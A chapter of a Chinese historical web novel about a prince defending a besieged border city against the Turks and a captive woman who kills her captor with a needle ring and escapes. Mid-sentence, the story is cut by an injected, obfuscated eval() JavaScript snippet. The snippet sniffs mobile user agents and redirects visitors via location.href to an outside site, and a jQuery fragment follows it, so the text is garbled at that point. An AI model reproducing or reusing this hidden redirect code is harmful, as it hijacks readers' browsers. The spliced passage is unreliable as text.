沉默蔓延了很久，久到时间几乎凝固。屋内的气氛凝重，进退两难的抉择像一块厚重的铅，重重压在几人心头。
“京中之事，关乎国本，不能不管。”良久，叶望终于开口，“小九，你带一批得力人手，以押送重镖为名，即刻秘密启程，潜入长安。不必妄动，只需静观其变，若太子真有异动，再寻隙行事，务必护住父皇周全。”
叶朗闻言，并未立刻领命，反而眉头紧锁：“五哥，京城局势目前仅是你我推测。但抗旨不遵，是明摆着的大罪！有心之人只需在病重的父皇耳边稍作挑拨，说你滞留藩地、意图难测，到时便是百口莫辩。依我看，最稳妥之法，是我留下周旋，你速速回京。”
叶望摇了摇头，脸上露出一丝疲惫：“不，这趟京城，最该去、也必须去的人，是你。”
他看着叶朗瞬间怔住的神情，继续冷静分析，字字如钉：“你‘死而复生’，母族又背负罪名，在朝臣与世家眼中，你的根基最为不正。此番若真是太子行大逆之举，便是你的机会。救驾于危难，揭发其阴谋，力挽狂澜于既倒——唯有如此泼天之功，方能彻底洗净你身上的污名与嫌疑，让你日后即位，名正言顺，无人敢置喙。这个机会，你必须抓住。”
“至于延州……我驻边多年，熟知边情，也略通军务。守土安民，本就是我辈之责。况且，唯有我留下，设法稳住突厥，才能让你在京城无后顾之忧，也让太子的算计落空。眼下，这是唯一能两全的法子。”
叶朗张了张嘴，想反驳，却找不到更有力的理由。他明白叶望说得对，这是险中求胜、甚至是以身为饵的一步棋。沉默半晌，他重重叹了口气：“延州凶险，局势莫测。五哥，千万保重。事若不可为……务必留有退路。”
叶望扯出一丝笑，拍了拍他的肩膀：“放心。”
次日拂晓，一大队镖师押着几辆覆着油布的大车，自城郊营地悄无声息地离开，向南而去。与此同时，叶望径直前往节度使府。
谭奇正为战事焦头烂额，见到叶望主动前来，言明愿协助守城，又惊又喜。
叶望昔年在陇西时的威名与战绩，边军多有耳闻。他的出现，犹如一剂强心针，让低迷的士气为之一振。在叶望的协助筹划下，接连打退了突厥几次集中进攻，暂时稳住了摇摇欲坠的防线。
突厥大帐内。
听完战报，可汗粗糙的面皮动了动，看不出喜怒。一旁的特勤小心试探：“可汗，如今这局面，倒是符合那周朝太子所说的‘拖延’之计。只是这般拉扯，儿郎们的折损……”
可汗从鼻子里哼出一声冷笑，打断了他：“拖延？你以为那位太子殿下，真把我们当作可以共享猎狼的盟友？”他眼中闪过鹰隼般的锐利光芒，“他不过是想借我们的刀，除掉碍事的人，让他能顺利坐上黄金宝座。等他大位稳固，你猜他第一件事是给我们牛羊美女，还是调集大军，给我们来个犁庭扫穴，以彰他新皇威仪？”
他站起身，走到帐外，望着远处延州城模糊的轮廓，提高声音，用突厥语对聚集的战士们吼道：“儿郎们！眼前这座城，不是什么铜墙铁壁。当年我们能踏破云中郡，今天就能拿下它！
“更多的勇士正在路上。打破这座城，里面的金银、绸缎、还有水一样的女人，都是你们的。拿出狼的狠劲来，撕开这座城！”
粗野的欢呼声震天响起，嗜血的光芒在无数双眼中点燃。
延州城头，哨兵连滚带爬地冲上敌楼，声音嘶哑：“报——！突厥人又上来了！这次人更多，黑压压的看不到头！”
谭奇啐了一口唾沫，脸色铁青：“他娘的，来真的了！”他急声问，“城中粮草箭矢还有多少？”
“省着用，最多还能支撑半月。”
“朝廷的援军呢？有消息没有？！”
“……暂无消息。”
叶望一直沉默地听着，此刻上前一步，声音平静无波：“不必再等援军了。这么久毫无音讯，即便后续真有援军，也绝赶不及解眼前之围。”
谭奇猛地看向他，眼中布满血丝：“晋王殿下，我们如今该怎么办？难不成……真守不住了？”
叶望没有直接回答。他转身，目光掠过城外卷起的冲天烟尘，喧嚣的风声、战鼓声、喊杀声，似乎在这一刻都离他远去。心中无限平静，做出留下决定的那一刻，他已做好准备，与城共存亡。
一个纤瘦挺直的背影不期然撞入脑海，心脏猛地一抽，泛起丝丝缕缕的痛楚。
她现在……应该已经到长平了吧？听说那里新换了节度使，还算安稳。至少，不必再日夜颠沛、担惊受怕了。
也好。
就这样，很好。
他收回目光，重新看向焦灼的谭奇和周围望过来的将领，眼神锐利。
“谭节使，集合还能战的所有人马，清点所有剩余的守城器械、火油、擂石。”
“我们，赌一把。”
——
营帐内，织机声单调地响着。季辞秋手中的梭子穿梭不停，心里却无端有些烦闷。
突然，帐外传来一阵由远及近的骚动，帐帘被猛地掀开，一股冷风灌入，几个平日对她们呼来喝去的监工，此刻佝偻着腰，满脸谄笑地跟在一个魁梧的突厥大汉身后。
那大汉生得豹头环眼，满脸虬髯，披着一件脏污的皮袄，目光像带着钩子，在帐内每一个女子身上缓慢地刮过。
监工们噤若寒蝉，女子们都深深埋下头，一时间只能听见织机声。
大汉的脚步在长宁面前停住了。他粗粝的手指捏住长宁的下巴，迫使她抬起头。
长宁脸色惨白，嘴唇抿得死紧，眼中是竭力压制的恐惧。大汉咂了咂嘴，浑浊的眼里露出满意的神色，用生硬的汉话对监工道：“这个，不错。带走。”
季辞秋的心猛地一沉。在监工上前拉扯之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315726|189194||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前，她已经一步跨出，挡在了长宁身前。
她努力扯出一个笑容，带着刻意的讨好，声音也掐得又软又细：“大人……大人看看我如何？我、我不想再在这鬼地方织布了，求大人行行好，带我走吧。”她甚至微微挺了挺身子。
大汉的目光果然被她吸引过来，在她脸上、身上逡巡，最后停驻在她胸前，嘴角咧开，露出一丝毫不掩饰的淫邪笑意。“呵，倒是个识趣的。”他挥挥手，“这个，带走。”
“姐姐！”长宁失声，想要扑上去，却被身后的明丽死死抱住，捂住了嘴。
季辞秋没回头，她低垂着眼，顺从地跟着大汉和监工走出了营帐。
她被带到了营地边缘一处单独的大帐。帐内铺着颜色艳俗的毯子，宽敞华丽许多，而最扎眼的，是正中那张宽大的、铺着兽皮的床榻。
空气里有一股浓重的膻味和劣质香料混合的气息。监工将她推入帐内，丢下一句“老实呆着”，便退了出去，帐外立刻传来守卫的脚步声。
季辞秋慢慢走到帐边，从缝隙向外窥看，两个持刀的突厥兵守在外面。她退回帐中，蜷缩在远离床榻的角落，无意识地摩挲着手指上的银戒，冰凉的触感让她狂跳的心稍稍镇定几分。
夜色如浓墨泼下，帐外火光晃动。不知过了多久，沉重的脚步声伴着粗嘎的突厥语哼唱由远及近，浓烈的酒气先于人透了进来。
帐帘掀起，那个魁梧大汉踉跄着走入，满脸通红，眼神涣散。
“美人……我的小美人呢？”他眯着眼，一眼锁定了角落里的季辞秋，咧开嘴，喷出令人作呕的酒气，张着双臂便扑了过来。
季辞秋胃里一阵翻腾，强忍着没有躲闪，顺势被他扑得歪倒在厚厚的兽皮上。
大汉得寸进尺，含糊地咒骂着下流的词句，沉重的身躯压着她，粗鲁地扯她的衣襟。因着酒意，他的动作有些迟缓。
就是现在！
季辞秋眼中寒光一闪，一直蜷在身侧的右手缓缓抬起，对准那人的脖子，在银戒的凸起上狠狠一按！
“嗤——”
一声细微到几乎无法察觉的轻响。几枚牛毛般的细针从戒面射出，精准地没入大汉后颈。
大汉庞大的身躯猛地一僵，喉咙里发出“嗬”的一声怪响，轰然倒在她身上，再无声息。
季辞秋用力将他沉重的身躯从自己身上推开，大口喘着气，迅速整理好凌乱的衣衫。她探了探大汉的鼻息，确认他已死透，才小心地挪到帐门边，屏住呼吸倾听。
夜很深了，帐外两个守卫正低声闲聊。
“头儿今天怎么这么久？”
“嘿嘿，那汉女瞧着挺有味道，头儿怕是……正快活呢。咱们别打扰。”
两人又嘀咕了几句，似乎是相约去附近方便一下，脚步声渐渐远去。
季辞秋不再犹豫，轻轻掀开帐帘一角，闪身而出，融入沉沉的夜色中。